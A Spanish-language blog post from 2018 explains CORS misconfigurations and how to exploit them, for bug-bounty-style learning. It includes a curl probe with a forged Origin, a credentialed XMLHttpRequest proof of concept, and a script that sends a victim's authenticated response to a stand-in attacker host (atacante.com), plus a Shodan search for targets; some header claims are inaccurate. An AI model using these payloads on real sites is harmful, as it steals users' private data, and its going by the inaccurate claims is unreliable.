martes, 7 de agosto de 2018

CORS mal configurado? (Intercambio de recursos de origen cruzado)

Definición

CORS o intercambio de recursos de origen cruzado, es un mecanismo que permite que recursos restringidos (como por ejemplo, las tipografías) de una pagina web puedan ser solicitados desde un dominio diferente por fuera desde el cual el primer recurso fue expuesto.




Acerca de la vulnerabilidad y como funciona CORS

Los sitios web normalmente habilitan CORS en el mismo origen de la web: 

Access-Control-Allow-Origin: https://ejemplo.com

Esto significa que las peticiones que hagan ellos desde otro lugar no se ejecutan ya que estas solo se permiten en el origen del encabezado.


En esta imagen podemos ver un ejemplo de como si hacemos una petición que no venga del origen (o que no quiera compartir con ese origen)que le indicamos la respuesta es bloqueada. Pero en dado caso que si queramos compartir con ese origen la respuesta se realiza:




El servidor también puede habilitar lo que son las credenciales utilizando el siguiente encabezado:

Access-Control-Allow-Credentials: true


Ahora, cuando confiamos en 1 solo origen es muy fácil, pero que pasa si deseamos confiar en mas origenes, esto se da mucho en las APIs hoy en dia, en las cabeceras se puede agregar uno o mas origenes utilizando un espacio:

Access-Control-Allow-Origin: http://ejemplo1.com http://ejemplo1.net


También se puede hacer uso del comodín * para especificar todos los subdominios, esto no indica que nosotros no podamos crear un subdominio loquesea.ejemplo.com mientras que este ataque podría permitir ver sus recursos compartidos, o simplemente si el dominio tiene en su lista blanca podemos ponernos a pensar formas de evasión ;).

Access-Control-Allow-Origin: *.ejemplo.com

Esto peligra cuando usamos * en CORS ya que esta es una mala implementacion la cual deshabilita simplemente el uso de las credenciales aunque estas estén en Verdadero, esto lo podemos ver como lo explica la pagina de Mozilla.

Entonces explicando esto, si usted ve un servidor o pagina web que emite la cabecera CORS con * el comodin deja lugar a que un atacante pueda especificar en la cabecera el Origen que el desee tal como:

curl https://victima.com -H "Origin: https://atacante.com" -I





Como resultado podemos ver recursos de otros sitios que no deberíamos poder ver.


Atacar CORS? Poc?


Entonces, esto de que me sirve? bueno pues gracias a que podemos hacer peticiones donde no deberíamos podemos simplemente hacer un Logger de peticiones que siempre este a la escucha, o simplemente hacer una petición para ver si funciona.

Primero, hacemos una petición y vemos si acepta nuestro origen.



Y después vemos la respuesta que nos da la cual permite nuestro dominio.



Digamos que esa peticion, es una donde se muestran los datos del usuario asi como sus credenciales.

Podemos hacer un poc y ver como funciona:


function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "https://target.com/user/", true); xhttp.withCredentials = true; xhttp.send(); }


Esto nos puede dar como resultado, los datos desde cualquier origen.




Siendo asi podemos crear un logger que nos vaya guardando todos los datos.

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerablecors.com',true); 
req.withCredentials = true;
req.send();

function reqListener() {

    location='http://atacante.com/gracias.php?c='+this.responseText; 

};


Esto es como cuando robas cookies.

El origen Nulo

https://www.w3.org/TR/cors/#access-control-allow-origin-response-header

La especificacion menciona que esta siendo activada por redirecciones, y algunas publicaciones de stackoverflow mustran que los archivos locales HTML tambien la obtienen. Esto hace que muchos sitios web lo tengan en su lista blanca:

Origin: null

Entonces esto realmente es explotable?


Gracias Shodan.io
https://www.shodan.io/search?query=%22Access-Control-Allow-Origin%3A+null%22+


Conclusión

En conclusion configurar correctamente tus cabeceras tal como CORS puede evitarte que tengas fugas de informacion de tu pagina web y otras personas puedan acceder a tus recursos.



Referencias:

https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

http://ejj.io/misconfigured-cors/

https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

https://www.cynet.com/blog-facebook-originull/

https://bugbountypoc.com/exploiting-cross-origin-resource-sharing/


  

No hay comentarios:

Publicar un comentario